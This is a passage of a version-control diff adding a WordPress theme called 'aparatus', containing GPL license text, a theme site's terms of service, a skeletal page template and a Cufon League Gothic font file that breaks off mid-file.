2 above on a medium customarily used for software interchange; or, + c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. + +If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. + +4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. + +5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. + +6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. + +7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. + +This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. + +8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. + +9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. + +10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. + +NO WARRANTY + +11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + +12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +2) Terms of Service + +Please read carefully the Terms of Services below. The purchase or use of any of the Themeswp products or services implies that you have read and accepted the Terms and Conditions of their use. + +General conditions +freeminders (www.freeminders.org) (hereinafter referred to as the “Site”) provides access to Files. All Files are distributed from open sources and may not be supported by their respective owners, may be out of date and only for acquaintance. + +Ownership +Site do not claim intellectual property right or exclusive ownership to any of Files, modified or unmodified. All Files are the property of their respective owners. All Files are provided “as is” without warranty of any kind, either expressed or implied. In no event shall our company or its agents be liable for any damages including, but not limited to, direct, indirect, special, punitive, incidental or consequential, or other losses arising out of the use of or inability to use our Files. + +Copyrights +All trade marks, trade names, company names, slogans, logos, and any other copyright items, which can be seen on the Site pages in various contexts, are the property of their respective owners. You have no right to copy, distribute or use them without written permission from the owners. The Site Administration can not control actions of each users therefore user is responsible for any illegitimate use of the Site’s materials or/and Services. We want you to know that we do not have any copyrighted or illegal content on Themeswp. However, we still can remove Files from our site if the copyright owner would like us to do so. The following procedure will be performed if: +You are, or your company is the copyright holder of this material +You provide the URLs to the themes to be removed. +You provide the full name(s) and list of content that should be removed +You give us complete contact information (address, phone number, email and fax) +Please, contact us admin[at]themeswp.com, only if your request follows through with all of these rules. Please, be polite. We will process your request within 5 business days only if it corresponds to the above mentioned rules. + +Prohibited Use +The Client has no right to download any Files from the Site if this violates the law of his country. + +Other conditions +The Administration of the Site reserves the right to change, amend, and supplement this Agreement on an occasional basis. Administration shall undertake to notify you of all changes to the present Agreement. In the event that you disagree with any clause of the amended Agreement, you should terminate your registration on the Site immediately and refrain from using it. User should not use data received from the Site for any illegal purposes. The Site Administration shall not be held liable for the possible use of information received from the Site for any purposes prohibited by legislation or infringing copyright. The users are personally responsible for any unlawful or unauthorized use of any content of the Site. Most of Files are free for acquaintance. Themeswp.com reserves the right to place text links at any page of the site, where any downloaded from themeswp.com themplate was used, link(s) may lead to any site, except ones with illegal content. If user, downloaded any themplate from themeswp.com and then decided to change the template, link(s) will remain on the pages for four calendar years after template was changed. In case user wants to remove the link(s) earlier then 4 years placement rights will expire, he/she should write the request to admin[at]themeswp.com, administration will manually remove the link(s). + +Responsibility +Site’s Administration in not responsible for any interruptions in the Site operation. Site’s Administration in not responsible for the quality or/and contents of the Files which are being provided access to. Site’s Administration can not be held responsible for the further use of the Files downloaded by user. User is responsible for keeping his password and login information safe. User if responsible for downloading any materials (including Files) from the Site. + +Warranty +Themeswp does not warranty or guarantee these templates in any manner. We cannot guarantee they will function with all 3rd party components, plugins or web browsers. Browser compatibility should be tested against the demonstration templates on the demo server. diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,23 @@ + +
    + + + +
    + + + +
    +
    + +
    +Page&after=
    '); ?> + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/screenshot.jpg Binary file web/wp-content/themes/aparatus/screenshot.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/scripts/League_Gothic_400.font.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/scripts/League_Gothic_400.font.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ +/*! + * The following copyright notice may not be removed under any circumstances. + * + * Copyright: + * Generated in 2009 by FontLab Studio. Copyright info pending. + * + * Full name: + * LeagueGothic + */ +Cufon.registerFont({"w":120,"face":{"font-family":"League Gothic","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"265","descent":"-95","x-height":"3","bbox":"-9.80397 -297 215 90","underline-thickness":"18","underline-position":"-18","unicode-range":"U+0020-U+2122"},"glyphs":{" ":{"w":55},"D":{"d":"122,-132v0,119,-14,136,-108,132r0,-265v93,-4,108,12,108,133xm53,-226r0,187v27,0,29,-6,29,-93v0,-86,-2,-94,-29,-94","w":133},"F":{"d":"107,-265r0,40r-54,0r0,70r36,0r0,40r-36,0r0,115r-39,0r0,-265r93,0","w":108,"k":{"a":4,"o":4,"e":4,"c":4}},"H":{"d":"84,0r0,-115r-31,0r0,115r-39,0r0,-265r39,0r0,110r31,0r0,-110r38,0r0,265r-38,0","w":136},"J":{"d":"2,3r0,-39v0,0,21,5,21,-19r0,-210r39,0r0,216v0,28,-14,55,-60,52","w":74},"L":{"d":"14,0r0,-265r39,0r0,229r52,0r0,36r-91,0","w":106,"k":{"A":-4,"Y":7}},"N":{"d":"93,0v-16,-49,-24,-104,-43,-150r0,150r-36,0r0,-265r35,0v16,49,24,105,43,151r0,-151r36,0r0,265r-35,0","w":142},"P":{"d":"14,0r0,-265v65,-3,108,1,108,80v0,61,-35,79,-69,79r0,106r-39,0xm53,-225r0,80v24,0,29,-9,29,-39v0,-30,-5,-41,-29,-41","w":126,"k":{"o":4,"e":4,"c":4}},"R":{"d":"123,0r-39,0r-20,-112r-11,0r0,112r-39,0r0,-265v67,-6,108,10,106,77v0,26,-7,50,-22,60xm82,-187v0,-38,-18,-39,-29,-39r0,78v11,0,29,-1,29,-39","w":129},"T":{"d":"37,-225r-36,0r0,-40r112,0r0,40r-37,0r0,225r-39,0r0,-225","w":113,"k":{"y":2,"w":2,"v":2,"r":9,"p":9,"a":12,"o":10,"m":9,"e":10,"c":10,"A":8,"n":9,"x":7,"T":-3}},"V":{"d":"64,-108r21,-157r38,0r-41,265r-38,0r-41,-265r38,0v9,51,10,110,23,157","w":126,"k":{"A":8,"c":5,"e":5,"o":5,"a":6,"n":4,"m":4,"p":4,"r":4}},"X":{"d":"64,-82r-23,82r-38,0r43,-139r-42,-126r38,0v9,23,12,51,24,71r22,-71r38,0r-42,126r43,139r-38,0v-9,-26,-12,-59,-25,-82","w":129},"Z":{"d":"4,0r0,-42r60,-184r-52,0r0,-39r95,0r0,39r-62,187r62,0r0,39r-103,0","w":110},"b":{"d":"14,0r0,-265r37,0r0,81v0,0,16,-16,29,-16v20,0,28,23,28,39r0,125v0,16,-8,39,-28,39v-19,0,-34,-32,-29,-3r-37,0xm51,-43v0,15,20,17,20,0r0,-111v0,-7,-4,-12,-9,-12v-5,0,-11,6,-11,12r0,111","k":{"t":2,"a":2,"s":2}},"d":{"d":"106,-265r0,265r-36,0r0,-13v0,0,-16,16,-29,16v-20,0,-28,-23,-28,-39r0,-125v0,-16,8,-39,28,-39v13,0,29,16,29,16r0,-81r36,0xm70,-43r0,-111v0,-14,-21,-17,-21,0r0,111v0,16,21,15,21,0"},"f":{"d":"81,-232v-19,-10,-26,18,-23,35r19,0r0,33r-19,0r0,164r-36,0r0,-164r-18,0r0,-33r18,0v0,-26,-2,-65,42,-69v30,-3,12,17,17,34","w":83,"k":{"a":1,"f":2}},"h":{"d":"63,-165v-7,0,-12,10,-12,10r0,155r-37,0r0,-265r37,0r0,85v3,-2,16,-20,29,-20v19,0,28,23,28,39r0,161r-37,0r0,-156v0,-8,-4,-9,-8,-9","w":121,"k":{"t":2,"a":2,"s":2}},"j":{"d":"13,-228r0,-37r37,0r0,37r-37,0xm13,-197r37,0r0,202v0,21,0,63,-42,63v-31,0,-11,-19,-16,-36v16,7,24,-13,21,-27r0,-202","w":64},"l":{"d":"51,0r-37,0r0,-265r37,0r0,265","w":65,"k":{"t":1,"c":1,"e":1,"o":1,"s":2}},"n":{"d":"63,-165v-7,0,-12,10,-12,10r0,155r-37,0r0,-197r37,0r0,17v3,-2,16,-20,29,-20v19,0,28,23,28,39r0,161r-37,0r0,-156v0,-8,-4,-9,-8,-9","w":121,"k":{"t":2,"a":2,"s":2}},"C":{"d":"79,-91r37,0r0,37v0,0,0,57,-52,57v-52,0,-52,-57,-52,-57r0,-156v0,0,0,-57,52,-57v52,0,52,57,52,57r0,36r-37,0v-4,-25,12,-46,-15,-56v-14,0,-13,20,-13,20r0,156v0,0,-1,19,13,19v28,-9,10,-31,15,-56","w":124},"E":{"d":"14,0r0,-265r89,0r0,40r-50,0r0,70r36,0r0,42r-36,0r0,73r50,0r0,40r-89,0","w":110,"k":{"A":-1}},"G":{"d":"116,-170r-39,0v-4,-26,11,-49,-13,-60v-14,0,-13,20,-13,20r0,159v0,0,-1,19,13,19v26,-10,8,-40,13,-67r-16,0r0,-33r55,0r0,132r-23,0r-5,-13v-7,9,-18,16,-30,16v-49,0,-46,-57,-46,-57r0,-156v0,0,0,-57,52,-57v52,0,52,57,52,57r0,40","w":129},"I":{"d":"14,0r0,-265r39,0r0,265r-39,0","w":67,"k":{"t":1,"c":1,"e":1,"o":1,"s":2}},"K":{"d":"14,-265r39,0v2,30,-4,67,2,93r34,-93r38,0r-36,88r40,177r-37,0v-11,-39,-15,-85,-30,-121v-17,27,-10,78,-11,121r-39,0r0,-265","w":135},"M":{"d":"95,0r-16,0r-26,-177v-6,-1,-2,7,-3,11r0,166r-36,0r0,-265r48,0r25,135r25,-135r48,0r0,265r-36,0r0,-177v-14,49,-18,120,-29,177","w":174},"O":{"d":"116,-54v0,0,0,57,-52,57v-52,0,-52,-57,-52,-57r0,-156v0,0,0,-57,52,-57v52,0,52,57,52,57r0,156xm77,-210v0,0,1,-20,-13,-20v-14,0,-13,20,-13,20r0,156v0,0,-1,19,13,19v14,0,13,-19,13,-19r0,-156","w":127,"k":{"T":4}},"Q":{"d":"116,-210v-4,66,10,133,-8,188v3,4,7,8,15,9r0,33v-22,0,-34,-9,-40,-20v-5,2,-11,3,-19,3v-52,0,-52,-57,-52,-57r0,-156v0,0,0,-57,52,-57v52,0,52,57,52,57xm77,-210v0,0,1,-20,-13,-20v-14,0,-13,20,-13,20r0,156v0,0,-1,19,13,19v14,0,13,-19,13,-19r0,-156","w":128},"S":{"d":"79,-62v0,-43,-67,-95,-67,-144v0,-29,14,-60,51,-61v47,-1,54,40,54,70r-38,3v0,-18,-3,-38,-16,-38v-10,0,-13,11,-13,26v0,43,67,94,67,142v0,35,-12,67,-54,67v-50,0,-57,-38,-57,-77r39,-4v0,22,2,45,18,45v12,0,16,-12,16,-29","w":123},"U":{"d":"79,-265r39,0r0,211v0,0,0,57,-52,57v-52,0,-52,-57,-52,-57r0,-211r39,0r0,211v0,0,-1,19,13,19v14,0,13,-19,13,-19r0,-211","w":131},"W":{"d":"90,-141r-20,141r-30,0r-36,-265r36,0v8,48,8,103,19,147r18,-147r28,0r18,147v5,1,2,-6,3,-9r16,-138r36,0r-36,265r-30,0v-9,-46,-10,-99,-22,-141","w":182,"k":{"A":8,"c":5,"e":5,"o":5,"a":6,"n":4,"m":4,"p":4,"r":4}},"Y":{"d":"41,-265r21,88r20,-88r39,0r-40,152r0,113r-39,0r0,-113r-39,-152r38,0","w":123,"k":{"A":9,"d":9,"q":9,"c":14,"e":14,"o":14,"a":15}},"A":{"d":"41,0r-37,0r40,-265r47,0r40,265r-38,0r-7,-54r-37,0xm81,-95v-6,-29,-5,-65,-15,-90r-12,90r27,0","w":134,"k":{"T":8}},"c":{"d":"48,-152r0,107v0,7,0,15,10,15v16,2,8,-29,10,-43r37,0v3,47,-9,76,-47,76v-26,0,-46,-14,-46,-58r0,-86v0,-44,20,-59,46,-59v36,0,50,25,47,72r-37,0v-1,-14,5,-39,-10,-39v-10,0,-10,8,-10,15","w":113,"k":{"t":2,"f":2,"v":2,"w":2,"y":2,"a":2,"n":1,"m":1,"p":1,"r":1,"l":1,"I":1,"i":1,"|":1,"s":1}},"e":{"d":"72,-71r33,0r0,23v0,0,0,51,-47,51v-47,0,-46,-52,-46,-52r0,-99v0,0,0,-52,47,-52v47,0,46,51,46,51r0,57r-60,0v4,26,-11,52,14,63v21,-8,10,-23,13,-42xm59,-168v-22,9,-11,27,-14,48r27,0v-3,-22,9,-39,-13,-48","w":115,"k":{"t":2,"f":2,"v":2,"w":2,"y":2,"a":2,"n":1,"m":1,"p":1,"r":1,"l":1,"I":1,"i":1,"|":1,"s":1}},"\u0233":{"d":"72,-71r33,0r0,23v0,0,0,51,-47,51v-47,0,-46,-52,-46,-52r0,-99v0,0,0,-52,47,-52v47,0,46,51,46,51r0,57r-60,0v4,26,-11,52,14,63v21,-8,10,-23,13,-42xm59,-168v-22,9,-11,27,-14,48r27,0v-3,-22,9,-39,-13,-48","w":115,"k":{"t":2,"f":2,"v":2,"w":2,"y":2,"a":2,"n":1,"m":1,"p":1,"r":1,"l":1,"I":1,"i":1,"|":1,"s":1}},"g":{"d":"102,-163v3,23,0,43,1,68v0,0,0,49,-46,49v-8,-3,-12,3,-12,8v0,8,14,10,27,12v23,3,51,12,51,46v0,39,-33,51,-63,51v-58,0,-78,-52,-29,-68v-29,-6,-26,-46,0,-56v-35,-35,-16,-50,-21,-97v0,0,2,-50,47,-50v18,0,29,8,36,18v5,-5,18,-18,30,-18r0,33v-10,0,-17,2,-21,4xm68,-148v0,0,1,-18,-11,-18v-12,0,-11,18,-11,18r0,54v0,0,-1,17,11,17v12,0,11,-17,11,-17r0,-54xm61,40v25,0,45,-22,8,-27v-14,-6,-32,-2,-32,13v0,8,7,14,24,14","w":123,"k":{",":-4,"s":1,"o":2,"e":2,"c":2}},"i":{"d":"51,0r-37,0r0,-197r37,0r0,197xm14,-228r0,-37r37,0r0,37r-37,0","w":65,"k":{"t":1,"c":1,"e":1,"o":1,"s":2}},"k":{"d":"14,-265r37,0v2,41,-4,90,2,126r19,-58r33,0r-26,64r33,133r-35,0r-20,-82v-12,17,-4,55,-6,82r-37,0r0,-265","w":112,"k":{"o":2,"e":2,"c":2}},"m":{"d":"132,-156v-1,-19,-24,-3,-24,1r0,155r-34,0r0,-156v-1,-18,-23,-3,-23,1r0,155r-37,0r0,-197r37,0r0,17v3,-2,17,-20,30,-20v13,0,20,10,24,22v6,-4,21,-22,34,-22v19,0,27,23,27,39r0,161r-34,0r0,-156","w":179,"k":{"t":2,"a":2,"s":2}},"o":{"d":"104,-149r0,101v0,0,1,51,-46,51v-47,0,-47,-52,-47,-52r0,-99v0,0,0,-52,47,-52v47,0,46,51,46,51xm70,-148v0,0,2,-20,-12,-20v-13,0,-13,20,-13,20r0,99v0,0,0,20,13,20v14,0,12,-20,12,-20r0,-99","w":115,"k":{"t":2,"f":2,"v":2,"w":2,"y":2,"a":2,"n":1,"m":1,"p":1,"r":1,"l":1,"I":1,"i":1,"|":1,"s":1}},"a":{"d":"44,-51v0,5,1,18,10,18v26,-1,12,-39,15,-62v-18,8,-25,25,-25,44xm9,-46v1,-85,60,-50,60,-104v0,-7,0,-18,-10,-18v-12,0,-10,18,-10,29r-36,0v-3,-35,18,-61,49,-61v74,0,33,126,46,200r-35,0v-5,-4,-1,-17,-6,-16v-16,25,-58,34,-58,-30","w":119,"k":{"t":3,"f":2,"v":1,"w":1,"y":1,"n":1,"m":1,"p":1,"r":1,"l":1,"I":1,"i":1,"|":1,"s":1}},"p":{"d":"14,68r0,-265r37,0r0,13v0,0,16,-16,29,-16v20,0,28,23,28,39r0,125v0,16,-8,39,-28,39v-13,0,-29,-16,-29,-16r0,81r-37,0xm51,-154r0,111v0,13,20,17,20,0r0,-111v0,-7,-4,-12,-9,-12v-5,0,-11,5,-11,12","k":{"t":2,"a":2,"s":2}},"q":{"d":"106,-197r0,265r-36,0r0,-81v0,0,-16,16,-29,16v-20,0,-28,-23,-28,-39r0,-125v0,-16,8,-39,28,-39v19,0,34,32,29,3r36,0xm70,-154v0,-15,-21,-16,-21,0r0,111v0,16,21,14,21,0r0,-111"},"r":{"d":"87,-200r0,41v0,0,-16,-6,-28,4v-6,6,-8,12,-8,18r0,137r-37,0r0,-197r37,0r0,22v1,-5,9,-25,36,-25","w":88,"k":{"s":2,"a":3,"o":1,"e":1,"c":1}},"s":{"d":"70,-51v0,-35,-57,-51,-57,-96v0,-23,9,-52,44,-53v42,-1,46,31,46,53r-34,0v0,-9,1,-23,-11,-23v-10,0,-12,13,-12,23v0,36,58,52,58,96v0,24,-12,54,-47,54v-44,0,-51,-39,-51,-60r34,0v0,10,2,30,17,30v10,0,13,-12,13,-24","w":110,"k":{"t":3}},"t":{"d":"22,-246r36,0r0,49r25,0r0,33r-25,0r0,98v0,12,0,32,12,32v6,0,13,-1,13,-1v-4,20,13,38,-19,38v-42,0,-42,-43,-42,-66r0,-101r-18,0r0,-33r18,0r0,-49","w":88,"k":{"a":1,"z":-2,"t":2}},"u":{"d":"59,-32v7,0,12,-10,12,-10r0,-155r36,0r0,197r-36,0r0,-17v-3,2,-17,20,-30,20v-19,0,-27,-23,-27,-39r0,-161r36,0r0,156v0,8,5,9,9,9","w":121,"k":{"t":2,"v":2,"w":2,"y":2,"c":1,"e":1,"o":1,"s":1}},"v":{"d":"71,0r-36,0r-32,-197r35,0r13,127v6,0,3,-9,5,-13r12,-114r35,0","w":105,"k":{"c":1,"e":1,"o":1,"a":3,"'":-4,"\u201d":-4,"\u201c":-4,"\u2018":-4,"\u2019":-4}},"w":{"d":"126,0r-30,0r-17,-105r-16,105r-30,0r-29,-197r33,0v6,37,5,81,15,114r17,-114r21,0v8,37,8,81,19,114r13,-114r34,0","w":159,"k":{"c":1,"e":1,"o":1,"a":3,"'":-4,"\u201d":-4,"\u201c":-4,"\u2018":-4,"\u2019":-4}},"x":{"d":"3,0r34,-102r-31,-95r34,0v6,17,8,37,15,52r14,-52r34,0r-31,95r34,102r-35,0v-6,-18,-9,-39,-17,-55r-16,55r-35,0","w":108},"y":{"d":"6,70r0,-33v18,5,35,-15,32,-31r-34,-203r36,0v7,42,6,92,17,131v2,-46,11,-87,15,-131r35,0r-35,212v-5,32,-26,63,-66,55","w":111,"k":{"c":1,"e":1,"o":1,"a":3,"'":-4,"\u201d":-4,"\u201c":-4,"\u2018":-4,"\u2019":-4}},"z":{"d":"2,0r0,-30r50,-134r-42,0r0,-33r81,0r0,30r-50,134r50,0r0,33r-89,0","w":93},"1":{"d":"30,-207r-26,0r0,-25v49,-12,25,-41,65,-33r0,265r-39,0r0,-207","w":83},"2":{"d":"50,-181r-39,0v-1,-46,3,-85,52,-86v40,0,51,29,51,65v0,54,-40,129,-60,163r61,0r0,39r-105,0r0,-39v0,0,66,-95,66,-160v0,-14,-1,-32,-13,-32v-16,0,-13,31,-13,50","w":128},"4":{"d":"64,0r0,-58r-60,0r0,-34r57,-173r39,0r0,173r18,0r0,34r-18,0r0,58r-36,0xm62,-183r-25,91r27,0v-2,-29,4,-66,-2,-91","k":{"9":-1,"3":-2,"8":-3}},"6":{"d":"70,-164v61,0,43,59,43,110v0,13,-3,57,-51,57v-48,0,-50,-44,-50,-57r0,-151v0,-19,1,-62,50,-62v57,0,51,43,51,79r-39,0v0,-36,-1,-46,-12,-46v-20,1,-9,53,-12,76v6,-4,13,-6,20,-6xm50,-43v0,3,3,12,12,12v8,0,12,-9,12,-12r0,-79v0,-3,-4,-12,-12,-12v-8,0,-12,7,-12,11r0,80","w":123},"8":{"d":"93,-140v20,20,21,47,20,83v0,7,-1,60,-52,60v-51,0,-52,-53,-52,-60v-1,-36,1,-63,21,-83v-17,-17,-19,-40,-18,-71v0,-7,0,-56,49,-56v49,0,50,49,50,56v1,31,-1,54,-18,71xm75,-72v0,-32,-1,-47,-14,-47v-13,0,-14,15,-14,47v0,28,3,39,14,39v13,0,14,-15,14,-39xm73,-197v0,-24,-2,-36,-12,-36v-9,0,-11,9,-11,36v0,28,1,40,11,40v10,0,12,-12,12,-40","w":122,"k":{"2":1}},"0":{"d":"116,-54v0,0,0,57,-52,57v-52,0,-52,-57,-52,-57r0,-156v0,0,0,-57,52,-57v52,0,52,57,52,57r0,156xm77,-210v0,0,1,-20,-13,-20v-14,0,-13,20,-13,20r0,156v0,0,-1,19,13,19v14,0,13,-19,13,-19r0,-156","w":127},"3":{"d":"73,-65v1,-34,4,-55,-33,-55r0,-32v32,-2,30,-14,30,-47v0,-15,0,-34,-12,-34v-10,0,-12,9,-12,45r-38,0v0,-30,1,-79,50,-79v49,0,50,49,50,56v0,40,-8,57,-19,71v19,15,22,41,22,72v0,7,-1,71,-50,71v-49,0,-52,-49,-52,-79r39,0v0,36,3,45,13,45v12,0,12,-19,12,-34","k":{"7":1}},"5":{"d":"52,-77v-1,22,1,50,12,46v19,-1,10,-68,12,-94v0,-11,-5,-20,-13,-20v-9,0,-15,14,-15,20r-33,0r0,-140r94,0r0,39r-60,0r0,55v0,0,12,-9,22,-9v40,0,43,46,43,55v-4,59,20,128,-50,128v-48,0,-51,-45,-51,-80r39,0","w":123},"7":{"d":"20,0r40,-226r-59,0r0,-39r98,0v-1,100,-28,175,-39,265r-40,0","w":103,"k":{"4":4,"1":-2}},"9":{"d":"53,-103v-60,0,-39,-57,-43,-107v0,-13,3,-57,51,-57v48,0,51,44,51,57r0,150v0,19,-2,63,-51,63v-56,0,-51,-45,-51,-79r39,0v0,36,1,45,12,45v20,-1,9,-55,12,-78v-6,4,-13,6,-20,6xm73,-144r0,-78v0,-3,-3,-12,-12,-12v-8,0,-12,9,-12,12r0,77v0,3,4,12,12,12v8,0,12,-7,12,-11","w":123},".":{"d":"9,0r0,-40r38,0r0,40r-38,0","w":56},";":{"d":"13,-157r0,-40r38,0r0,40r-38,0xm51,-40v4,40,-9,62,-20,87r-18,0r13,-47r-13,0r0,-40r38,0","w":63},",":{"d":"46,-40v4,40,-9,62,-20,87r-18,0r13,-47r-13,0r0,-40r38,0","w":54},":":{"d":"13,0r0,-40r38,0r0,40r-38,0xm13,-157r0,-40r38,0r0,40r-38,0","w":63},"!":{"d":"15,0r0,-40r38,0r0,40r-38,0xm23,-71r-10,-194r42,0r-10,194r-22,0","w":68},"$":{"d":"79,-65v0,-50,-66,-82,-66,-138v0,-26,8,-53,37,-60r0,-23r22,0r0,22v28,3,38,25,41,49r-33,5v-1,-12,-6,-22,-17,-22v-11,0,-14,14,-14,28v0,50,65,83,66,139v0,31,-10,61,-43,65r0,38r-22,0r0,-39v-31,-5,-43,-32,-44,-62r34,-2v1,17,7,33,23,33v12,0,16,-16,16,-33","w":121},"&":{"d":"62,3v-69,-3,-60,-99,-23,-135v-12,-26,-19,-50,-19,-78v0,0,-2,-57,47,-57v49,0,47,57,47,57v0,23,-15,49,-36,76v12,26,20,40,26,50v5,-13,7,-31,8,-37r31,6v-1,10,-4,40,-16,63v8,9,14,12,16,13r0,42v-4,0,-21,-8,-37,-25v-13,15,-28,25,-44,25xm86,-46v-10,-15,-20,-31,-31,-52v0,0,-9,15,-9,41v0,30,29,33,40,11xm81,-211v0,0,1,-26,-14,-26v-15,0,-13,27,-13,27v0,15,3,27,9,43v9,-13,18,-30,18,-44","w":150},"?":{"d":"35,-40r0,40r38,0r0,-40r-38,0xm106,-216v-2,39,-36,54,-35,100r0,45r-34,0v-3,-51,6,-103,24,-125v6,-7,9,-15,10,-20v1,-5,-2,-16,-12,-16v-13,0,-21,18,-23,25r-32,-14v4,-11,22,-46,55,-45v41,1,47,36,47,50","w":113},"-":{"d":"13,-80r0,-34r52,0r0,34r-52,0","w":78,"k":{"7":7}},"'":{"d":"46,-265v4,40,-9,62,-20,87r-18,0r13,-47r-13,0r0,-40r38,0","w":54},"\/":{"d":"1,26r96,-291r28,0r-94,291r-30,0","w":126},"_":{"d":"13,57r0,-30r187,0r0,30r-187,0","w":212},"=":{"d":"13,-84r0,-30r160,0r0,30r-160,0xm13,-152r0,-30r160,0r0,30r-160,0","w":186},"+":{"d":"13,-114r0,-30r65,0r0,-61r30,0r0,61r66,0r0,30r-66,0r0,61r-30,0r0,-61r-65,0","w":186},">":{"d":"173,-142r0,28r-160,83r0,-35r123,-62r-123,-63r0,-35","w":186},"\u201d":{"d":"47,-265v4,40,-9,62,-20,87r-18,0r13,-47r-13,0r0,-40r38,0xm100,-265v4,39,-8,62,-19,87r-18,0r12,-47r-12,0r0,-40r37,0","w":109},"\u201c":{"d":"63,-178v-4,-39,8,-62,19,-87r18,0r-12,47r12,0r0,40r-37,0xm9,-178v-4,-40,9,-62,20,-87r18,0r-12,47r12,0r0,40r-38,0","w":109},"\u2013":{"d":"13,-114r0,-34r116,0r0,34r-116,0","w":141},"\u2014":{"d":"13,-114r0,-34r145,0r0,34r-145,0","w":171},"|":{"d":"48,90r-34,0r0,-387r34,0r0,387","w":62,"k":{"t":1,"c":1,"e":1,"o":1,"s":2}},"~":{"d":"158,-229v-33,0,-51,-30,-79,-30v-25,0,-35,31,-35,31r-24,-10v0,0,17,-54,59,-54v34,0,50,31,79,31v23,0,34,-32,34,-32r23,10v0,0,-18,54,-57,54","w":225},"[":{"d":"85,-265r0,35r-36,0r0,233r36,0r0,34r-71,0r0,-302r71,0","w":94},"]":{"d":"10,-230r0,-35r70,0r0,302r-70,0r0,-34r36,0r0,-233r-36,0","w":94},"\\":{"d":"30,-297r108,329r-30,0r-107,-329r29,0","w":139},"{":{"d":"